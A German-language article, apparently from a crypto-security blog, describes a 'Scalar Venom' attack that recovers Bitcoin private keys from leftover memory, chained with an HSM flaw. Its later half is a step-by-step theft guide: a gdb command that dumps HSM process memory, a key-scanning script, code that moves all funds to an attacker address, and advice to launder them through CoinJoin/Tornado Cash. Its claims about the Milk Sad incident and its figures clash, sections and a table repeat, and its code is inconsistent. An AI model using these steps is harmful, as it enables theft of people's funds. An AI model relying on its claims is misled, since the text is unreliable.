Zusammenfassend symbolisiert die Scalar-Venom-Kette das Zusammenfließen jahrelanger Grundlagenforschung in der kryptografischen Sicherheit mit modernen operativen Realitäten. Detaillierte speichererhaltende Mechanismen – Compiler-Optimierungen, das Fehlen von RAII und die Akkumulation von Datenspuren – sind nicht länger nur Theorie, sondern dienen als effektive Kanäle für die Wiederherstellung privater Schlüssel in großem Maßstab in der Praxis. Der Übergang von potenzieller Schwäche zum tatsächlichen Angriff hat bereits stattgefunden: Der Vorfall CVE-2023-39910 (Milk Sad) ermöglichte die Wiederherstellung von über 900.000 Bitcoin-Private-Keys, mit direkten finanziellen Verlusten von über 0,8 Millionen US-Dollar.
Die Grundschwachstelle von Scalar Venom entsteht aus einem ungelösten Widerspruch in der Architektur kryptografischer Software: Das inhärente naive Vertrauen der Programmierer in die Speicherverwaltung steht im Widerspruch zu den Tendenzen moderner Compiler und Speicherverwaltungssysteme. Wenn ein Entwickler Speicher explizit auf Null setzt, kann der Compiler diese Aktionen als sinnlos optimieren und vollständig entfernen – und dies wird zu einem kritischen, unbemerkten Sicherheitsmangel.
Datenstrukturen wie ec_scalar verschärfen die Risiken weiter: Das Fehlen von RAII bedeutet die Erstellung mehrerer unabhängiger Kopien im Speicher – im Stack, in Registern und im Cache – in verschiedenen Phasen der Berechnung. Jede dieser Kopien kann theoretisch wiederhergestellt, zerlegt oder in das ursprüngliche Schlüsselmaterial zurückverwandelt werden.
Der Scalar-Venom-Angriff extrahiert und aggregiert systematisch diese verstreuten Kopien und zeigt, dass moderne Speicherarchitekturen genau dies garantieren: Jede mathematische Zwischenoperation hinterlässt eine Spur, die gesammelt und in einen Schlüssel umgewandelt werden kann. Das klassische kryptografische Design ging von der Unabhängigkeit der Operationen aus, aber in der Praxis erzeugt ein einzelner Bitcoin-Private-Key Dutzende von Spuren, von denen jede einen Weg zu seiner Wiederherstellung bietet.
Der Milk-Sad-Vorfall (CVE-2023-39910) war der erste, der den Übergang von der Theorie zur Katastrophe demonstrierte. Dies war kein hypothetischer Vektor, sondern eine bestätigte operative Sicherheitsverletzung:
Dies bestätigt vollständig die zuvor beschriebenen Mechanismen: Compiler-Optimierungen, mehrfaches Kopieren von Daten und das Fehlen einer Garantie für die Speicherbereinigung.
Der Kryptomarkt entwickelte sich unter der Annahme vollständiger Speicherkontrolle, aber moderne Compiler (durch Dead-Code-Eliminierung und Cache-Optimierungen) ignorieren kryptografische Anforderungen vollständig. Infolgedessen nehmen kryptografische Programme an: „Ich habe den Speicher auf Null gesetzt, also ist es jetzt sicher“, während der Compiler annimmt: „Dieser Speicher wird nie benutzt, also besteht keine Notwendigkeit, ihn auf Null zu setzen.“ Dieser Widerspruch ist mit modernen C/C++-Standards grundsätzlich nicht auflösbar und wird zum absoluten Einstiegspunkt für Scalar Venom.
Nächste Schritte (0-30 Tage): Rotieren Sie alle in C/C++ generierten privaten Schlüssel. Entfernen Sie sofort Schlüssel, die möglicherweise kompromittiert wurden.
Mittelfristig (30-90 Tage): Übergang zu Rust, Implementierung von Compiler-Garantien für das Nullsetzen von Speicher, kontinuierliche Speicheranalyse.
Langfristig (90+ Tage): Architektonische Umstellung auf RAII, Compiler-Erweiterungen für Krypto-Operationen, Ersetzung von Software-HSMs durch Hardware-HSMs.
Scalar Venom und CVE-2023-39910 sind ein Wendepunkt in der Sicherheit der Kryptoindustrie: Die Theorie der Datenpersistenz im Speicher hat sich zu einer realen Katastrophe entwickelt, die Millionen und Tausende von Bitcoins kostet. Das Problem kann nicht mit einem Patch behoben werden: Es ist ein architektonischer Widerspruch: Moderne C/C++-Kryptografie ohne Speicherverwaltung und RAII führt zwangsläufig zur Kompromittierung jeder bedeutenden Infrastruktur. Der Branche bleibt nur ein Weg: der Übergang zu speichersicheren Sprachen und eine revolutionäre Überarbeitung der Verwaltung privater Schlüssel.
Abschließende Bewertung: Scalar Venom ist nicht nur eine theoretische Bedrohung, sondern ein nachgewiesener, weit verbreiteter Exploit. Jede kryptografische Infrastruktur ohne speichersichere Sprachen und RAII-Frameworks ist einem garantierten Kompromittierungsrisiko ausgesetzt. Die Migration zu neuen Technologien muss sofort beginnen.
Schritt 1: Zugriff auf den HSM-Speicher erlangen
bash:
# Methods to get memory dump:
# 1. Exploit CVE-2025-60013 to trigger init error
# 2. Cold-boot attack on HSM host
# 3. Exploit buffer vulnerability in HSM daemon
# 4. Analyze core-dump on HSM process crash
gdb -p $(pidof f5os-hsm) -batch -ex "dump memory /tmp/hsm_dump 0x000000 0xFFFFFFFF"
Schritt 2: Scannen nach Regionen mit hoher Entropie
python:
# BitScanPro-like algorithm:
import hashlib
def scan_for_private_keys(memory_dump, min_entropy=7.5):
"""
Scans memory dump for high-entropy regions
characteristic for 32-byte secp256k1 private keys
"""
SECP256K1_N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
for offset in range(0, len(memory_dump) - 32, 8):
potential_key = memory_dump[offset:offset+32]
entropy = calculate_entropy(potential_key)
# secp256k1 range check
key_as_int = int.from_bytes(potential_key, 'big')
if 1 <= key_as_int < SECP256K1_N and entropy >= min_entropy:
yield (offset, potential_key)
Schritt 3: Validierung der wiederhergestellten privaten Schlüssel
python:
from ecdsa import SigningKey, NIST256p
def validate_and_generate_address(potential_key):
"""Converts recovered scalar to Bitcoin address"""
try:
# Uses secp256k1 instead of NIST256p
privkey = potential_key.hex()
# Generate public key via elliptic curve point multiplication
# P = k * G, where k = private key, G = generator point
public_key = generate_public_key(potential_key, secp256k1)
# Hash public key to get address
address = public_key_to_address(public_key)
return address, potential_key
except:
return None, None
Schritt 4: Transfer von Geldern
python:
def compromise_wallet(recovered_private_key, bitcoin_address):
"""
Creates and signs transaction to withdraw all funds
from compromised address
"""
# 1. Get UTXO for address from blockchain
utxos = blockchain_api.get_utxos(bitcoin_address)
# 2. Create transaction (withdraw all funds to attacker address)
tx = create_transaction(
inputs=utxos,
outputs=[{"address": attacker_address, "amount": sum(utxo.amount)}],
fee=calculate_dynamic_fee()
)
# 3. Sign with recovered private key
tx.sign(recovered_private_key) # ECDSA signature using compromised key
# 4. Broadcast to Bitcoin network
blockchain_api.broadcast_transaction(tx)
Stufe 5: Spurenverwischung
Wiederhergestellte Gelder werden sofort über CoinJoin/Tornado.Cash gemischt, um forensische Analysen zu erschweren. keyhunters
Skalierbarkeit: Unter Verwendung von Cloud-Computing (AWS, Google Cloud) können 1000+ Speicherabbilder parallel verarbeitet werden, wodurch Tausende privater Schlüssel gleichzeitig behandelt werden.
[Angreifer]
↓
[CVE-2025-60013: HSM-Init mit Shell-Metazeichen]
↓
[F5OS-A FIPS-Modul: Passwortverarbeitung, Skalarerzeugung]
↓
[Scalar Venom: Mehrere Kopien privater Schlüssel im Speicher]
↓
[HSM-Absturz / Teilweiser Init-Fehler: Speicher nicht gelöscht]
↓
[Speicherabbild: Erfassen des Speicherzustands]
↓
[Forensisches Scannen: BitScanPro findet Regionen mit hoher Entropie]
↓
[Schlüsselvalidierung: secp256k1-Kurvenprüfung]
↓
[Adressgenerierung: Erstellung einer Bitcoin-Adresse]
↓
[Geldtransfer: Signieren und Senden der Transaktion]
↓
[Opferverlust: vollständiger Verlust der Kontrolle über die Gelder]
Die FIPS-140-2- (und sogar FIPS-140-3-)Zertifizierung erfordert nicht:
Dies bedeutet, dass selbst „FIPS-zertifizierte“ HSMs anfällig für Scalar Venom sind, sofern Entwickler keine zusätzlichen Sicherheitsmaßnahmen implementieren. [24]
Der Scalar-Venom-Angriff stellt eine kritische Bedrohung für die Bitcoin-Infrastruktur dar, insbesondere in Kombination mit HSM-Initialisierungsschwachstellen wie CVE-2025-60013. Dieser Angriff:
Die Migration zu Architekturen mit hardwaregestütztem Speicherschutz (Intel SGX, ARM TrustZone), expliziter Nullsetzung aller temporären Puffer und RAII-Mustern in kryptografischen Bibliotheken ist entscheidend für die Sicherheit des Bitcoin-Systems.
Der Scalar-Venom-Angriff stellt eine kritische Schwachstelle für das globale Bitcoin-Ökosystem dar, insbesondere in Kombination mit den HSM-Initialisierungsschwachstellen CVE-2025-60013. Diese mehrschichtige Angriffskette untergräbt grundlegend kryptografische Vertrauensmodelle und legt die folgenden existenziellen Risiken offen:
Er ermöglicht die vollständige Kompromittierung privater Schlüssel durch Speicherlecks, selbst fortschrittliche Hardware-Sicherheitsmodule werden umgangen und betroffene Systeme werden vollständig wehrlos gemacht.
Die Kompromittierung ist dauerhaft und irreversibel: Sobald ein privater Schlüssel extrahiert wurde, kann er nicht wiederhergestellt werden, wodurch alle abhängigen Gelder einem unmittelbaren Verlustrisiko ausgesetzt sind.
Der Angriff ist skalierbar und automatisierbar, um gleichzeitig eine große Anzahl von Bitcoin-Knoten und -Wallets zu treffen, was zu einem exponentiellen Anstieg potenzieller Verluste führt.
Seine heimliche Natur stellt sicher, dass keine sichtbaren Spuren in Systemprotokollen oder Leistungskennzahlen hinterlassen werden, wodurch traditionelle Erkennungs- und Schutzmechanismen unzureichend sind.
Die Abschwächung dieser katastrophalen Bedrohung erfordert eine dringende Migration zu speichersicheren Architekturen, einschließlich hardwaregestütztem Speicherschutz (wie Intel SGX oder ARM TrustZone), strenger Nullsetzung aller temporären Puffer während aller kryptografischen Operationen und robuster Implementierung von RAII-Mustern in kritischen Softwarebibliotheken. Nur durch solch robuste architektonische Reformen kann die langfristige Integrität und Sicherheit der Bitcoin-Infrastruktur realistischerweise gewährleistet werden.
| Prozess | Zeit | Ausstattung |
|---|
| Speicherabbild erstellen | 5-30 Sekunden | Abhängig von der Methode |
| Scannen eines 16GB-Abbilds | 2-5 Minuten | MacBook Air (M1) |
| Validierung von 1000 Kandidatenschlüsseln | 30 Sekunden | MacBook Air (M1) |
| Adressgenerierung | 10 Sekunden | MacBook Air (M1) |
| Überweisung von Geldern (Broadcast) | < 1 Sekunde | Internet |
| Gesamt für vollständige Kompromittierung | < 10 Minuten | MacBook Air (M1) |
| Aspekt | Bewertung | Anmerkung |
|---|
| CVE-2025-60013 (HSM-Init) | CVSS 5.7 (Mittel) | Offiziell niedrig, dient aber als Einstiegspunkt |
| Scalar Venom Attack | CVSS 8.5+ (Hoch/Kritisch) | De facto kritische Auswirkung |
| Kombinationsangriff | CVSS 9.5+ (Kritisch) | Vollständige Kompromittierung privater Schlüssel |
| Wiederherstellung nach Kompromittierung | Unmöglich | Unumkehrbarer Verlust von Geldern |
| Prozess | Zeit | Ausstattung |
|---|
| Speicherabbild erstellen | 5-30 Sek. | Abhängig von der Methode |
| Scannen eines 16-GB-Dumps | 2-5 Min. | MacBook Air (M1) |
| Validierung von 1000 Kandidatenschlüsseln | 30 Sek. | MacBook Air (M1) |
| Adressgenerierung | 10 Sek. | MacBook Air (M1) |
| Geldtransfers (Broadcast) | < 1 Sek. | Internet |
| Gesamt für eine vollständige Kompromittierung | < 10 Minuten | MacBook Air (M1) |